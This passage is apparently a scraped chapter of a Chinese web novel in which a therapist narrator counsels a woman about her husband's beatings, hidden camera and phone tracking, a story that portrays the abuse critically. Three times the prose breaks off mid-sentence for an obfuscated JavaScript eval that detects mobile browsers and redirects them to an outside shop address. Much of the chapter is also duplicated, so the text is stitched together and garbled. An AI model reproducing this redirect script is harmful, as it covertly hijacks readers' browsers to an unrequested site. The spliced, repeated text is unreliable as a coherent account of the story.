她抬头望了我一眼,又转向别处。 “谁离婚都会痛苦烦恼吧,但和这个有什么关系。”她低低地咕哝着。 “离婚是谁提出的?你还是他?” 她眼睛望着别处,有一种很沮丧的感觉。 “都不是。” 这是一场很奇怪的离婚。 要求离婚的不是双方当事人,而是张芝芸的家里人。 起因是表姐撞破了一件啼笑皆非的突发事件。 本是一个阳光懒洋洋的午后。张芝芸心情很好,因为她白得了一个半天的假期。 刚从单位的小路走入主道,便被一个熟悉的声音叫住。 “芝芝,这么巧的?你今天不用上班?”表姐和男友牵着手在路边,瞪大眼睛惊喜地叫住她。 “单位停电了。” 张芝芸指了指路边的工程队羞涩地笑了笑。 “哈!这样都能碰上,咱俩不愧是姐妹,你现在准备回家吗?” 表姐兴高采烈。 张芝芸点点头,打算早点回去炖个乌鸡汤。 “哎哟喂,我都表现得这么明显了,你不会还不邀请我去你家坐坐吧?” 张芝芸顿了顿,有些不好意思:“怎么会,只是觉得家里有点乱。” 表姐走过来挽住她的手:“说起来都过了这么久,我才去过你家一次。怎么觉得自打你结婚以后,跟我越来越疏远了。” 她语气有些埋怨。 表姐跟她其实跟亲姐妹一样,打小住同一个社区,年龄相差不大,从小就形影不离,好得就跟一个人似的。 “要不人家说嫁出去的女儿泼出去的水,你现在跟我都不好了。” 张芝芸本想找个什么理由婉拒,可话到嘴边还是吞下了。 略微尴尬道:“没有啦,正想邀请你们,但你说得比我快。” “那就走吧。”表姐高兴地揽住她:“刚好我可以开车送你,这服务很周到吧?” 表姐男友和张芝芸略微寒暄了一下,便开着车载着他们往家里开去。 家和单位距离不到一小时车程,很快便来到了楼下。 “你先把他领上家里,我一会买好了东西上去。” 如果那天不是这样的安排,也许她现在不一定会离婚。 “不,你别买东西上来,随便坐坐不用客气的。” “你管呢,我买了上你家吃行了吧,你快带他上去,我一会儿就来了。” 表姐推了推她。 张芝芸向来说不过表姐,只好独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826346|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自带着表姐男友上了楼。 表姐的男友不熟悉她,家族聚会只见过一两次面。 她中规中矩地泡茶洗水果,坐在一旁聊聊天,气氛倒也还算融洽。 表姐也不知道是不是在超市挑挑拣拣什么,好半天还没上来。 然而,门外突然传来开锁转动的声音。 还没等人反应过来,突然一个身影如旋风般冲了进来,二话不说,抬手就给了张芝芸一记响亮的耳光。 “你竟敢把野男人往家里带?” 两人都傻了眼,愣在了原地。 只有冲进来那个男人在吼叫:“他是谁?你怎么敢?” 男人满脸通红,一边用手指着表姐男友,像一只被占领了地盘的疯狗。 这男人叫郑凯东,是张芝芸的丈夫。 他毫无平时彬彬有礼的风度,粗暴得像山野屠夫。 表姐男友从震惊中回过神来,路见不平气愤地站起来护住张芝芸。 反身用力推了郑凯东一把。 “你干嘛打女人?” 郑凯东更愤怒了,两人瞬间扭打在一起,一个觉得自己是来捉奸的“正义使者”,一个则要教训这个打女人的“暴徒”,场面顿时混乱不堪。 拿着大包小包回来的表姐,目睹了这一幕,整个人都惊得呆立当场,嘴巴张得老大,完全说不出话来。 熄完火后坐在客厅里,弄明白原委后,郑凯东满脸通红又诚恳地向他们道了歉。 但这场意外,却无情地暴露了两个事实。 一是郑凯东偷偷装了监控在监视张芝芸的一举一动,否则解释不了半小时内冲回家的壮举;二是郑凯东这种行为肯定不是第一次,他如此理所当然的暴力行为暴露了他是一个惯犯。 表姐把她抓到房间逼问:“他这不是第一次了吧,他是不是常这样对你?” 郑凯东在客厅被表姐的男朋友看管着,张芝芸在房间支支吾吾。 表姐冷笑:“家暴有第一次便有无数次,看你这个样子就知道不是第一次。想不到郑凯东竟然是个影帝。” 表姐不由分说把她带回了娘家,召集了家庭审判会,在众目睽睽逼问之下,张芝芸不得不坦白她被郑凯东家暴的秘密,父亲气得差点要脑梗,大家然后一致要求她马上离婚。 “听起来你没有离婚的意愿。” 她低下头,声音有些迟疑:“不是,不能这样下去。” “所以你想离吗?” 她双手紧紧抱着肩膀,非常缓慢迟疑地回答:“嗯。” “如果开门代表离婚,关门代表保持现状。” 她抬起头看着我。 “你会选择开门还是关门。” 她嘴唇动了动,却答不出来。 “我觉得这个症状和你现在的心理状态很相似,很挣扎,很矛盾,很纠结。” 她又低下了头。 “你到底想离开还是想待在里面?” 她咬着嘴唇,似在微弱地反驳:“他们是对的,我应该离婚。” “应该这个词,是试图说服自己的词语。” 她脸色变得苍白。 “郑凯东他……”张芝芸的指尖摸向了一旁的手袋,手袋的拉链被拉开又合上,反反复复。 金属齿牙咬合的“咔啦”声突然停了,像被掐断的叹息。 我在心里默数,果然,又是十五次。 27. 家暴03 她的眼神里又浮起一种迷茫之色,像云雾遮住了星月,让人看不清眼前的真相。 “他以前真的对我很好很耐心……” 都说男朋友最讨厌陪女朋友逛街买东西,可是郑凯东恰恰相反,他总是主动要求。 并会细心体贴给她详尽地参考意见:“露膝盖会着凉,露锁骨太招摇,你的气质温婉,适合古典风格。” 他把那些短裙V领上衣挂回去,递给她挑好的衣服:“反正你的衣服都是穿给我看的,这些我觉得你穿起来特别好看。” “我排了很久才买到的最新型号。”他把一台新的手机递给她。 “顺便可以把通讯录整理一下,你都结婚了,那些没有必要的交往朋友全部都删除掉吧。” 他陪她整理名单,每一个看似陌生的男性名字都会详细地询问:“他是谁,你们怎么认识的?认识了多久?还经常有来往吗?” “我想了解你的全部。”他说:“因为我太在乎你了。” 他的眼睛里有一种令她深信不疑的光。 “相爱的人应该完全敞开的,比如时时刻刻知道对方在哪里。” 她想这只是他在乎她的一种说法或情人之间的玩笑。 直到有一次,部门需要接待上级领导晚宴,是很普通的职场交际。 她要晚些回来,也给他电话解释了,可当她与同事们在酒店吃完晚宴,说说笑笑散场离别走出来时,一个熟悉的身影映入眼帘。 他蹲在酒店拐角处,脸色铁青,地上散落着不少的烟蒂。 她吃惊:“你怎么知道我在这里?” “我在你的手机下了个定位软件。”他面无表情地回答。 她心惊同时又有一种奇异的感觉。 有人那么在乎她。 “我太爱你了,我希望你所有的时间都是我的。” 蓝胡子递给年轻的小妻子一把钥匙:“我所有的美食你都可以享用,我所有的财富你都可以共享,唯独有一个房间你不可以进去。” 这个房间上面挂着一个牌子:顺从。 闺蜜小敏打电话给张芝芸:“今晚我生日。再不出来聚聚,姐妹都要绝交了!” 她小心翼翼地报备:“我们真的很久没见了,要不你陪我去?” 他恰好有重要的客户。 “十点前必须回家,不许喝酒。”电话那头很不高兴的语气,勒得她喉头发紧。 KTV的包房里欢声笑语,打工人下班后宝贵的自由时间。 “一定要喝,一年我才过一次生日,一年里我才那么大方一次,不醉不归,谁不喝就是不给面子。” 张芝芸盛情难却被灌了好几杯。 她拿手机想看一下时间,却看到16个未接来电,红得刺眼。 她心中一紧:“差不多我就要回去了,郑恺东可能已到家等我了。” “什么?这才几点?你又不是灰姑娘,电话拿来,让我跟你家郑总说说理。”小敏大声嚷嚷道。 “那再玩会儿吧……”她攥紧杯子,瞄到手机上红色数字,里面的冰块叮当撞击着她的心虚,“我十一点半就得走,真的。” 她在KTV的洗手间漱口,又喷了点香水。 可还是心虚,钥匙插进门锁的瞬间,她听见自己的心跳声。 隔着门,好像有某种预感。 她没敢推开门,而是站了一小会。 门却主动开了。 “咔嗒”一声,玄关灯亮得刺眼,郑凯东的脸隐在阴影里,像座随时会喷发的火山。 “解释啊。”他扯下领带,金属袖扣在墙上撞出冷光,“不是说十点前回家?不是说一滴酒都不沾?” 不知道谁的酒气,好像喝了酒那个是郑凯东,他的眼神里有一些让她觉得陌生且惊惧的东西。 她还来不及开口,头发就被狠狠攥住,头皮像被撕开的创可贴。 “一身酒气,你是公主还是小姐?我为你放弃升职加薪,你就这么报答我?” “你知道前女友是怎么对待我的吗?喝酒,喝酒,喝到别人的床上去。” “你知道我只想要一个好女人,要一个温暖的家,你是怎么做的?” 张芝芸没办法反驳,她所有的注意力都被身体的疼痛夺走了,根本听不清郑凯东在说什么,只觉自己陷入一场可怕的噩梦当中。 蓝胡子那个神秘可怕的房间被打开了,里面扔满了不能绝对服从的“尸体”。 从那以后,郑凯东变得有点肆无忌惮。 对陌生的男人笑得太多,打扮得过于张扬的性感,打电话聊天的时间太久,出去应酬没报备,忘记他嘱咐的事情…… “你总是不把我的话放在心上,你可知道我为你放弃了多少东西?” 他把汤碗重重地放在桌子上,金属勺子撞击在碗里发出轻微的咣当声。 “小杨升职了,今天在我面前趾高气扬的。真好笑,论资历和经验,他哪里比得上我?” “如果不是我三番四次地拒绝公司外派,经理的职位早就是我的了。” 他抬起黑漆漆的眸子,闪着一抹意味不明的目光看向张芝芸。 “我是因为你才失去一次又一次的升职机会。” 他捏着她的下巴:“我那么在乎你,我那么爱你。你呢?你真的在意我说过的话吗?你真的有把我的话听到心里去吗?” 张芝芸抬起头,满溢泪光的眼睛委屈又迷茫:“我真的已经完全按照他的说法去做了,可是为什么他还是不相信我?” 那双迷茫又幽怨的眼神,似一个巨大的黑色影子从头上笼罩下来,我一阵的头晕目眩。 我长吸了一口气:“你认为这是爱吗?” 她不语,像在默认。 “你觉得他在乎你,他爱你,是他的看法还是你真实的感受?” 张芝芸的眼睛里涌进更多的迷茫,像一个被操控的玩偶。 那种熟悉的窒息感又涌了上来。 “你能试试去感觉自己真实的想法吗?”我轻声道。 “来,闭上眼睛,放松自己的身体。” 她很乖闭上了眼睛,靠在椅背上,似可以任人揉捏的小面人。 “呼吸,在呼吸里感受你的皮肤,你身上的肌肉,你心跳的声音……” 我轻言细语,观看着她呼吸的节奏。 “细细地感受,让它们告诉你真实的感觉。当他说爱你的时候,说他在乎你的时候,说他做这一切都是为了你的时候,你的感觉是怎样的?” “聆听你内心真实的声音,你可以做到的……” 她身体突然微微地发颤,像一只飞进蜘蛛网 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833631|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里横冲直撞遍体鳞伤的虫子。 网里有一双黑色的眼睛,看着她虚弱拥抱自己默默流泪的样子,眼睛的主人跪了下来,像国王低下傲慢的头颅,变成一个为爱流泪的奴隶: “我太爱你了。” “我是因为你才变成这样的。” “事业不顺利,我心情不好,行为失常,你原谅我好不好?” “对不起,是我的错,你打死我好了。” 闭着眼睛的张芝芸,胸口起伏急促。 “我感到窒息,好像有什么东西牢牢地黏住我,让我无法呼吸。” 她捂着胸口,像一个溺水的人! “那这个是爱的感觉吗?” 一滴晶莹的泪从她的眼角里溢了出来。 “爱是恒久忍耐,又有恩慈;爱是不嫉妒,爱是不自夸,不张狂,不作害羞的事,不求自己的益处,不轻易发怒,不计算人的恶,不喜欢不义,只喜欢真理;凡事包容,凡事相信,凡事盼望,凡事忍耐;爱是永不止息。”她低低的声音似乎进入自我催眠。 我手脚一阵的冰凉,一个装睡的人永远不愿意被他人叫醒。 我送她出去,她的身影渐渐地消失在重重的树影当中。 一阵不知从哪刮过来的怪风,把树枝吹得晃来晃去,晃得像久远光阴里那棵歪歪扭扭颤抖的石榴树。 石榴树,葡萄架,一间青瓦平房。 我转身回去躺进催眠椅当中,闭上眼睛,渐渐介于清醒与睡眠之间。 “Anita,”有个温和的声音在说:“治疗就像剥洋葱,剥了一层又一层,每剥一层都是一个极其痛苦的过程,有时我们会受不了而隔离和忘记,那是防御,我们接纳防御,允许自己拥有足够的力量时再一次拨开它。” 时光间隙仿佛被一只大手拨开倒转。 宽大的菱形葡萄叶子,上面布满了细细的绒毛,青青密密层层叠叠,把平房门口遮盖得极其密实。 几缕阳光细碎洒落,却难以照进阴沉沉的屋内。 屋内光线极其微弱,所有的东西都仿佛被阴影笼罩。 残破的陶瓷碗杯七零八落,缺了腿的椅子歪倒在角落,风扇被推倒斜靠在角柜边。 一些零零碎碎的杂物散落一地,像是被一场无形的风暴肆意席卷而过。 风暴过后总是会带来寂静。 屋内安静许久,像是空置的屋子。 直到一个微弱的声音:“妈妈,你离婚吧。” 没有人回答。 “妈,你离婚吧。”声音微弱充满着惊慌的恳求。 一个脸上红肿瘀青的小女孩僵硬地跪坐着,仿佛和阴影待在一起。 在她的前面是一张旧式木床,木床上有四根黑檀色的木柱子,四角挂着一张发黄的旧纱防蚊帐,两只廉价的塑料挂钩把帐子收到两边,露出床里面褪了颜色的碎花被褥。 一个瘦弱的女人躺在床上,头发凌乱,脸上有泪干的痕迹和大大小小的淤青,衣服露出的手脚布满伤痕,像在暴风雨后被践踏的枯黄野草。 她闭着眼睛沉默着,如一个会呼吸被丢弃的残破雕塑。 小女孩尝试着动了动已经麻木了知觉的腿,她试着挪动一下沉重的身体,难以呼吸的胸口一次又一次发出微弱的哀求。 “妈妈,你离婚吧。” 27. 家暴03 她的眼神里又浮起一种迷茫之色,像云雾遮住了星月,让人看不清眼前的真相。 “他以前真的对我很好很耐心……” 都说男朋友最讨厌陪女朋友逛街买东西,可是郑凯东恰恰相反,他总是主动要求。 并会细心体贴给她详尽地参考意见:“露膝盖会着凉,露锁骨太招摇,你的气质温婉,适合古典风格。” 他把那些短裙V领上衣挂回去,递给她挑好的衣服:“反正你的衣服都是穿给我看的,这些我觉得你穿起来特别好看。” “我排了很久才买到的最新型号。”他把一台新的手机递给她。 “顺便可以把通讯录整理一下,你都结婚了,那些没有必要的交往朋友全部都删除掉吧。” 他陪她整理名单,每一个看似陌生的男性名字都会详细地询问:“他是谁,你们怎么认识的?认识了多久?还经常有来往吗?” “我想了解你的全部。”他说:“因为我太在乎你了。” 他的眼睛里有一种令她深信不疑的光。 “相爱的人应该完全敞开的,比如时时刻刻知道对方在哪里。” 她想这只是他在乎她的一种说法或情人之间的玩笑。 直到有一次,部门需要接待上级领导晚宴,是很普通的职场交际。 她要晚些回来,也给他电话解释了,可当她与同事们在酒店吃完晚宴,说说笑笑散场离别走出来时,一个熟悉的身影映入眼帘。 他蹲在酒店拐角处,脸色铁青,地上散落着不少的烟蒂。 她吃惊:“你怎么知道我在这里?” “我在你的手机下了个定位软件。”他面无表情地回答。 她心惊同时又有一种奇异的感觉。 有人那么在乎她。 “我太爱你了,我希望你所有的时间都是我的。” 蓝胡子递给年轻的小妻子一把钥匙:“我所有的美食你都可以享用,我所有的财富你都可以共享,唯独有一个房间你不可以进去。” 这个房间上面挂着一个牌子:顺从。 闺蜜小敏打电话给张芝芸:“今晚我生日。再不出来聚聚,姐妹都要绝交了!” 她小心翼翼地报备:“我们真的很久没见了,要不你陪我去?” 他恰好有重要的客户。 “十点前必须回家,不许喝酒。”电话那头很不高兴的语气,勒得她喉头发紧。 KTV的包房里欢声笑语,打工人下班后宝贵的自由时间。 “一定要喝,一年我才过一次生日,一年里我才那么大方一次,不醉不归,谁不喝就是不给面子。” 张芝芸盛情难却被灌了好几杯。 她拿手机想看一下时间,却看到16个未接来电,红得刺眼。 她心中一紧:“差不多我就要回去了,郑恺东可能已到家等我了。” “什么?这才几点?你又不是灰姑娘,电话拿来,让我跟你家郑总说说理。”小敏大声嚷嚷道。 “那再玩会儿吧……”她攥紧杯子,瞄到手机上红色数字,里面的冰块叮当撞击着她的心虚,“我十一点半就得走,真的。” 她在KTV的洗手间漱口,又喷了点香水。 可还是心虚,钥匙插进门锁的瞬间,她听见自己的心跳声。 隔着门,好像有某种预感。 她没敢推开门,而是站了一小会。 门却主动开了。 “咔嗒”一声,玄关灯亮得刺眼,郑凯东的脸隐在阴影里,像座随时会喷发的火山。 “解释啊。”他扯下领带,金属袖扣在墙上撞出冷光,“不是说十点前回家?不是说一滴酒都不沾?” 不知道谁的酒气,好像喝了酒那个是郑凯东,他的眼神里有一些让她觉得陌生且惊惧的东西。 她还来不及开口,头发就被狠狠攥住,头皮像被撕开的创可贴。 “一身酒气,你是公主还是小姐?我为你放弃升职加薪,你就这么报答我?” “你知道前女友是怎么对待我的吗?喝酒,喝酒,喝到别人的床上去。” “你知道我只想要一个好女人,要一个温暖的家,你是怎么做的?” 张芝芸没办法反驳,她所有的注意力都被身体的疼痛夺走了,根本听不清郑凯东在说什么,只觉自己陷入一场可怕的噩梦当中。 蓝胡子那个神秘可怕的房间被打开了,里面扔满了不能绝对服从的“尸体”。 从那以后,郑凯东变得有点肆无忌惮。 对陌生的男人笑得太多,打扮得过于张扬的性感,打电话聊天的时间太久,出去应酬没报备,忘记他嘱咐的事情…… “你总是不把我的话放在心上,你可知道我为你放弃了多少东西?” 他把汤碗重重地放在桌子上,金属勺子撞击在碗里发出轻微的咣当声。 “小杨升职了,今天在我面前趾高气扬的。真好笑,论资历和经验,他哪里比得上我?” “如果不是我三番四次地拒绝公司外派,经理的职位早就是我的了。” 他抬起黑漆漆的眸子,闪着一抹意味不明的目光看向张芝芸。 “我是因为你才失去一次又一次的升职机会。” 他捏着她的下巴:“我那么在乎你,我那么爱你。你呢?你真的在意我说过的话吗?你真的有把我的话听到心里去吗?” 张芝芸抬起头,满溢泪光的眼睛委屈又迷茫:“我真的已经完全按照他的说法去做了,可是为什么他还是不相信我?” 那双迷茫又幽怨的眼神,似一个巨大的黑色影子从头上笼罩下来,我一阵的头晕目眩。 我长吸了一口气:“你认为这是爱吗?” 她不语,像在默认。 “你觉得他在乎你,他爱你,是他的看法还是你真实的感受?” 张芝芸的眼睛里涌进更多的迷茫,像一个被操控的玩偶。 那种熟悉的窒息感又涌了上来。 “你能试试去感觉自己真实的想法吗?”我轻声道。 “来,闭上眼睛,放松自己的身体。” 她很乖闭上了眼睛,靠在椅背上,似可以任人揉捏的小面人。 “呼吸,在呼吸里感受你的皮肤,你身上的肌肉,你心跳的声音……” 我轻言细语,观看着她呼吸的节奏。 “细细地感受,让它们告诉你真实的感觉。当他说爱你的时候,说他在乎你的时候,说他做这一切都是为了你的时候,你的感觉是怎样的?” “聆听你内心真实的声音,你可以做到的……” 她身体突然微微地发颤,像一只飞进蜘蛛网 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833631|191120||http|test|mini|href|location''.split(''|''),0,{})); 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